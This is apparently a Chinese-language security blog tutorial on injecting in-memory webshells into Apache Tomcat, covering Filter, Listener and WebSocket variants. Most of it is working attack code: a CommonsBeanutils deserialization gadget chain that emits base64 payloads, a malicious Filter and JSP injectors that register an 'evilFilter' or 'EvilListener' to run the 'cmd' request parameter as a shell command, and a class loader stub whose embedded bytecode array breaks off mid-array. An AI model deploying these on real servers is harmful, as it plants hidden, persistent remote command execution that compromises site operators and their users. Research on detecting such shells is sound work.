import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(FilterTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

return queue;
}

@org.junit.jupiter.api.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();

String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}
}

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import org.apache.catalina.Context;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.util.HashSet;
import java.util.Map;
import java.util.Scanner;

public class FilterTemplatesImpl extends AbstractTranslet implements Filter {

public void init(FilterConfig config) throws ServletException {

}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws java.io.IOException, ServletException {
String cmd = request.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();

// 把请求传回过滤链
chain.doFilter(request,response);
}
public void destroy( ){

}

static HashSet<Object> h;
static HttpServletRequest r;
static HttpServletResponse p;

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public FilterTemplatesImpl(){
try {
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);

//静态变量直接填null即可
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());

}else {
AddMemoryShell(lastServicedRequest, lastServicedResponse);
}
}catch (Exception e){
e.printStackTrace();
}

}

public FilterTemplatesImpl(String s){

}

public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}

public static void AddMemoryShell(ThreadLocal<ServletRequest> lastServicedRequest, ThreadLocal<ServletResponse> lastServicedResponse) throws Exception{
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();

//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

Filter evilFilter = new FilterTemplatesImpl("evilFilter");
FilterDef filterDef = new FilterDef();
filterDef.setFilter(evilFilter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(evilFilter.getClass().getName());
standardContext.addFilterDef(filterDef);
System.out.println();
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);
}
}

原理与反序列化Tomcat-Servlet差不多,只是把恶意模板类改成Filter的实现,创建Servlet的流程改成创建Filter的流程。就不过多解释了。

jsp注入Tomcat-Filter 型内存马

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);

Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
chain.doFilter(request, response);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("evilFilter");
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
filterConfigs.put("evilFilter", filterConfig);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("evilFilter");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMap(filterMap);

%>

Tomcat-Listener 型内存马

流程分析

编写一个简单的HelloListener:

package com.example.tomcatservletmemshell;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener(value = "/hello-servlet")
public class HelloListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("request destroyed");
}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("request initialized");
}


}

Listener分多种,ServletRequestListener访问服务时触发。同样,在下图位置打下断点,分析调用栈:

进入org.apache.catalina.core.StandardContext#fireRequestInitEvent

其中listener的定义如下:

可以看到listener是把instance进行强转之后得到的。而instance是instances数组中的一个元素,我们看看instances是怎么来的:

跟进org.apache.catalina.core.StandardContext#getApplicationEventListeners

我们发现instances是把applicationEventListenersList转为数组得到的,在org.apache.catalina.core.StandardContext#addApplicationEventListener发现applicationEventListenersList的元素是如何添加的:

因此注入Listener内存马的方法就很简单了。获取到StandardContext后直接调用addApplicationEventListener方法传入要注入的Listener即可。

反序列化注入Tomcat-Listener 型内存马

过于简单,交给读者完成。(其实是我实在懒得写了,嘻嘻~)

jsp注入Tomcat-Listener 型内存马

<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>

<%!
public class EvilListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {

try {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
Response response = request.getResponse();
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().flush();
response.getWriter().write(output);
response.getWriter().flush();
}
}catch (Exception e){
e.printStackTrace();
}

}

public void requestInitialized(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextFiled = servletContext.getClass().getDeclaredField("context");
applicationContextFiled.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextFiled.get(servletContext);
Field standardContextFiled = applicationContext.getClass().getDeclaredField("context");
standardContextFiled.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextFiled.get(applicationContext);

EvilListener evilListener = new EvilListener();
standardContext.addApplicationEventListener(evilListener);

%>

Tomcat-Websocket 型内存马

WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。

流程分析

导入依赖,应与自己的Tomcat版本一致:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>9.0.76</version>
</dependency>

以下是一个简单的Tomcat-Websocket样例:

package com.example.tomcatservletmemshell;

import javax.websocket.*;
import java.io.IOException;

public class HelloWebsocket extends Endpoint {
private Session session;

@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(new MessageHandler.Whole<String>() {
@Override
public void onMessage(String message) {
System.out.println("Receice message: "+message);
}
});
System.out.println("Websocket: " + session.toString());
try {
session.getBasicRemote().sendText("Hello World!");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void onClose(Session session, CloseReason closeReason) {
System.out.println("Close!!!");

}

public void onError(Session session, Throwable throwable) {
System.out.println("Error!!!");
throwable.printStackTrace();
}
}
package com.example.tomcatservletmemshell;

import javax.websocket.Endpoint;
import javax.websocket.server.ServerApplicationConfig;
import javax.websocket.server.ServerEndpointConfig;
import java.util.HashSet;
import java.util.Set;

public class EndpointApplicationConfig implements ServerApplicationConfig {
@Override
public Set<ServerEndpointConfig> getEndpointConfigs(Set<Class<? extends Endpoint>> set) {


Set<ServerEndpointConfig> result = new HashSet<>();
if (set.contains(HelloWebsocket.class)) {
result.add(ServerEndpointConfig.Builder.create(HelloWebsocket.class, "/websocket").build());
}
return result;
}

@Override
public Set<Class<?>> getAnnotatedEndpointClasses(Set<Class<?>> set) {
System.out.println(set);
return set;
}
}

运行后可以用以下python代码连接:

import websocket

ws = websocket.create_connection("ws://127.0.0.1:8080/websocket")
ws.send("HELLO")
print(ws.recv())
ws.close()

在了解Tomcat-Websocket的加载之前,需要先了解一下Tomcat的SCI机制。这里贴一篇关于SCI机制的文章吧:https://blog.csdn.net/lqzkcx3/article/details/78507169

  1. ServletContainerInitializer接口的实现类通过java SPI声明自己是ServletContainerInitializer 的provider.

  2. 容器启动阶段依据java spi获取到所有ServletContainerInitializer的实现类,然后执行其onStartup方法.

  3. 另外在实现ServletContainerInitializer时还可以通过@HandlesTypes注解定义本实现类希望处理的类型,容器会将当前应用中所有这一类型(继承或者实现)的类放在ServletContainerInitializer接口的集合参数c中传递进来。如果不定义处理类型,或者应用中不存在相应的实现类,则集合参数c为空.

  4. 这一类实现了 SCI 的接口,如果做为独立的包发布,在打包时,会在JAR 文件的 META-INF/services/javax.servlet.ServletContainerInitializer 文件中进行注册。 容器在启动时,就会扫描所有带有这些注册信息的类(@HandlesTypes(WebApplicationInitializer.class)这里就是加载WebApplicationInitializer.class类)进行解析,启动时会调用其 onStartup方法——也就是说servlet容器负责加载这些指定类, 而ServletContainerInitializer的实现者(例如Spring-web中的SpringServletContainerInitializer对接口ServletContainerInitializer的实现中,是可以直接获取到这些类的)

大致意思就是说在Tomcat启动的时候,将会对classpath下的jar进行扫描,扫描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件,对其中提到的类进行加载,调用这个类的onStartup方法。那么我们来看一下tomcat-websocket.jar中的META-INF/services/javax.servlet.ServletContainerInitializer文件:

Java/Python/PHP 内存马

接下来我们在org.apache.tomcat.websocket.server.WsSci#onStartup下打断点:

首先调用init进行初始化操作WsServerContainer对象,跟进一下init方法:

Java/Python/PHP 内存马

创建了一个WsServerContainer对象sc,参数为servletContext对象。之后调用servletContext的setAttribute()方法,将servletContext的javax.websocket.server.ServerContainer属性设置为sc,并添加了两个listener,一个是WsSessionListener,一个是WsContextListener。添加WsSessionListener的作用是当http的session销毁时同样销毁掉websocket session:

Java/Python/PHP 内存马

不过因为我们是注入内存马,只需要了解注册过程即可,并不需要太注意它的作用。之后将一个ServerEndpointConfig对象传给了sc的addEndpoint方法:

跟进一下这个addEndpoint方法,这里获取到 path:

在取出了其中配置的路由之后生成了一个mapping映射:

Java/Python/PHP 内存马

接下来总结一下注入流程:

1.创建一个恶意的Endpoint,实现MessageHandler接口,重写onMessage方法。

2.为该Endpoint创建ServerEndpointConfig。

3.获取servletContext的javax.websocket.server.ServerContainer属性得到WsServerContainer

4.通过WsServerContainer.addEndpoint添加ServerEndpointConfig

反序列化注入 Tomcat-Websocket 型内存马

回想一下,我们之前是怎样创建一个恶意的Filter对象或者一个恶意的Servlet对象的?我们是直接让TemplatesImpl对象的_bytecodes字段所对应的那个类实现了Filter接口或Servlet接口,但是现在我们不能继续通过这样的方式来生成一个恶意的Endpoint了。因为这个类必需要继承AbstractTranslet,因此就无法再继承Endpoint了。那我们还有什么办法吗?当然是通过ClassLoader的defineClass来向JVM中注册一个恶意的Endpoint了。我们可以通过Thread.*currentThread*().getContextClassLoader()来获取ClassLoader,之后通过反射的方法,执行defineClass方法,将我们设置好的byte数组转变为java类。具体请看以下代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Arrays;
import java.util.Base64;
import java.util.PriorityQueue;


public class Test {

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}

public static Object getpayload() throws Exception{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(WebsocketTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

return queue;
}

@org.junit.Test
public void test1() throws Exception{
Object payload = getpayload();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(payload);
outputStream.flush();

String codes = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(codes);
}

@org.junit.Test
public void test2()throws Exception{
byte[] bytes = ClassPool.getDefault().get(EvilWebsocket.class.getName()).toBytecode();
System.out.println(Arrays.toString(bytes));
}

}

执行test2获取到EvilWebsocket类的字节码,之后更改 下面WebsocketTemplatesImpl类中的bytes即可:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassPool;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;

import javax.servlet.ServletContext;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.websocket.*;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.util.Scanner;

public class WebsocketTemplatesImpl extends AbstractTranslet{
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

public static void setFinalStatic(Field field) throws NoSuchFieldException, IllegalAccessException {
field.setAccessible(true);
Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
}

static {
try {
String urlPath = "/evilWebsocket";
Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

//修改static final
setFinalStatic(WRAP_SAME_OBJECT_FIELD);
setFinalStatic(lastServicedRequestField);
setFinalStatic(lastServicedResponseField);

//静态变量直接填null即可
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);


if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null) || lastServicedRequest == null || lastServicedResponse == null){
WRAP_SAME_OBJECT_FIELD.setBoolean(null,true);
lastServicedRequestField.set(null, new ThreadLocal());
lastServicedResponseField.set(null, new ThreadLocal());
}else {
ServletRequest servletRequest = lastServicedRequest.get();
ServletResponse servletResponse = lastServicedResponse.get();

//开始注入内存马
ServletContext servletContext = servletRequest.getServletContext();
ClassLoader cl = Thread.currentThread().getContextClassLoader();
Class clazz;
byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 52, 0, -110, 10, 0, 30, 0, 75, 8, 0, 76, 10, 0, 77, 0, 78, 10, 0, 7, 0, 79, 8, 0, 80, 10, 0, 7, 0, 81, 7, 0, 82, 8, 0, 83, 8, 0, 84, 8, 0, 85, 8, 0, 86, 10, 0, 87, 0, 88, 10, 0, 87, 0, 89, 10, 0, 90, 0, 91, 7, 0, 92, 10, 0, 15, 0, 93, 8, 0, 94, 10, 0, 15, 0, 95, 10, 0, 15, 0, 96, 10, 0, 15, 0, 97, 8, 0, 98, 9, 0, 29, 0, 99, 11, 0, 100, 0, 101, 11, 0, 102, 0, 103, 7, 0, 104, 10, 0, 25, 0, 105, 11, 0, 100, 0, 106, 10, 0, 29, 0, 107, 7, 0, 108, 7, 0, 109, 7, 0, 111, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 15, 76, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 59, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 7, 105, 115, 76, 105, 110, 117, 120, 1, 0, 1, 90, 1, 0, 5, 111, 115, 84, 121, 112, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 4, 99, 109, 100, 115, 1, 0, 19, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 2, 105, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 1, 115, 1, 0, 19, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 59, 1, 0, 6, 111, 117, 116, 112, 117, 116, 1, 0, 9, 101, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 7, 99, 111, 109, 109, 97, 110, 100, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 82, 7, 0, 48, 7, 0, 112, 7, 0, 92, 7, 0, 108, 7, 0, 104, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 6, 99, 111, 110, 102, 105, 103, 1, 0, 32, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 18, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 46, 106, 97, 118, 97, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 113, 12, 0, 114, 0, 115, 12, 0, 116, 0, 117, 1, 0, 3, 119, 105, 110, 12, 0, 118, 0, 119, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 2, 115, 104, 1, 0, 2, 45, 99, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 7, 0, 120, 12, 0, 121, 0, 122, 12, 0, 123, 0, 124, 7, 0, 125, 12, 0, 126, 0, 127, 1, 0, 17, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 83, 99, 97, 110, 110, 101, 114, 12, 0, 34, 0, -128, 1, 0, 2, 92, 65, 12, 0, -127, 0, -126, 12, 0, -125, 0, -124, 12, 0, -123, 0, 117, 1, 0, 0, 12, 0, 32, 0, 33, 7, 0, -122, 12, 0, -121, 0, -119, 7, 0, -117, 12, 0, -116, 0, 42, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, -115, 0, 35, 12, 0, -114, 0, -113, 12, 0, 41, 0, 42, 1, 0, 13, 69, 118, 105, 108, 87, 101, 98, 115, 111, 99, 107, 101, 116, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, -112, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 8, 99, 111, 110, 116, 97, 105, 110, 115, 1, 0, 27, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 104, 97, 114, 83, 101, 113, 117, 101, 110, 99, 101, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 